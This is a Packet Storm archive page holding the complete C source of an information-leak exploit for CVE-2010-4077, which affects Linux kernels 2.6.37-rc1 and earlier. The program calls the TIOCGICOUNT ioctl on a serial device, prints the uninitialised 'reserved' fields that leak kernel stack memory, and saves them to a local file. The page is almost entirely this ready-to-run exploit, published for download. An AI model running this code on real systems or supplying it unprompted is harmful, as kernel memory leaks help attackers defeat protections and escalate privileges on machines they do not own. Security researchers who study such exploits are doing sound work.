what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

Linux 2.6.37-rc1 serial_core TIOCGICOUNT Leak

Linux 2.6.37-rc1 serial_core TIOCGICOUNT Leak
Posted Mar 14, 2011
Authored by prdelka

Information leak exploit for Linux kernel versions 2.6.37-rc1 and below which leaks kernel stack space back to userland due to uninitialized struct member "reserved" in struct serial_icounter_struct copied to userland. Uses ioctl to trigger memory leak, dumps to file and displays to command line.

tags | exploit, kernel, memory leak
systems | linux
advisories | CVE-2010-4077
SHA-256 | fc5c06243bfa87c53d6e5f3c22e2104a377b95a4b22238e7d035f9b2e20066f4

Linux 2.6.37-rc1 serial_core TIOCGICOUNT Leak

Change Mirror Download
/* Linux <= 2.6.37-rc1 serial_core TIOCGICOUNT leak
* ================================================
* Information leak exploit for CVE-2010-4077 which
* leaks kernel stack space back to userland due to
* uninitialized struct member "reserved" in struct
* serial_icounter_struct copied to userland. uses
* ioctl to trigger memory leak, dumps to file and
* displays to command line.
*
* -- prdelka
*
*/
#include <termios.h>
#include <fcntl.h>
#include <sys/ioctl.h>
#include <linux/serial.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int main(int argc, char* argv[]) {
int fd, ret = 0, i;
struct serial_icounter_struct buffer;
printf("[ Linux <= 2.6.37-rc1 serial_core TIOCGICOUNT leak exploit\n");
if(argc < 2){
printf("[ You need to supply a device name e.g. /dev/ttyS0\n");
exit(-1);
};
memset(&buffer,0,sizeof(buffer));
if((fd = open(argv[1], O_RDONLY)) == -1){
printf("[ Couldn't open %s\n",argv[1]);
exit(-1);
}
if((ioctl(fd, TIOCGICOUNT, &buffer)) == -1){
printf("[ Problem with ioctl() request\n");
exit(-1);
}
close(fd);
for(i=0;i<=9;i++){
printf("[ int leak[%d]: %x\n",i,buffer.reserved[i]);
};
if((fd = open("./leak", O_RDWR | O_CREAT, 0640)) == -1){
printf("[ Can't open file to write memory out\n");
exit(-1);
}
for(i=0;i<=9;i++){
ret += write(fd,&buffer.reserved[i],sizeof(int));
}
close(fd);
printf("[ Written %d leaked bytes to ./leak\n",ret);
exit(0);
}
Login or Register to add favorites

File Archive:

April 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Apr 1st
    10 Files
  • 2
    Apr 2nd
    26 Files
  • 3
    Apr 3rd
    40 Files
  • 4
    Apr 4th
    6 Files
  • 5
    Apr 5th
    26 Files
  • 6
    Apr 6th
    0 Files
  • 7
    Apr 7th
    0 Files
  • 8
    Apr 8th
    22 Files
  • 9
    Apr 9th
    14 Files
  • 10
    Apr 10th
    10 Files
  • 11
    Apr 11th
    13 Files
  • 12
    Apr 12th
    14 Files
  • 13
    Apr 13th
    0 Files
  • 14
    Apr 14th
    0 Files
  • 15
    Apr 15th
    30 Files
  • 16
    Apr 16th
    10 Files
  • 17
    Apr 17th
    22 Files
  • 18
    Apr 18th
    45 Files
  • 19
    Apr 19th
    8 Files
  • 20
    Apr 20th
    0 Files
  • 21
    Apr 21st
    0 Files
  • 22
    Apr 22nd
    11 Files
  • 23
    Apr 23rd
    68 Files
  • 24
    Apr 24th
    23 Files
  • 25
    Apr 25th
    0 Files
  • 26
    Apr 26th
    0 Files
  • 27
    Apr 27th
    0 Files
  • 28
    Apr 28th
    0 Files
  • 29
    Apr 29th
    0 Files
  • 30
    Apr 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close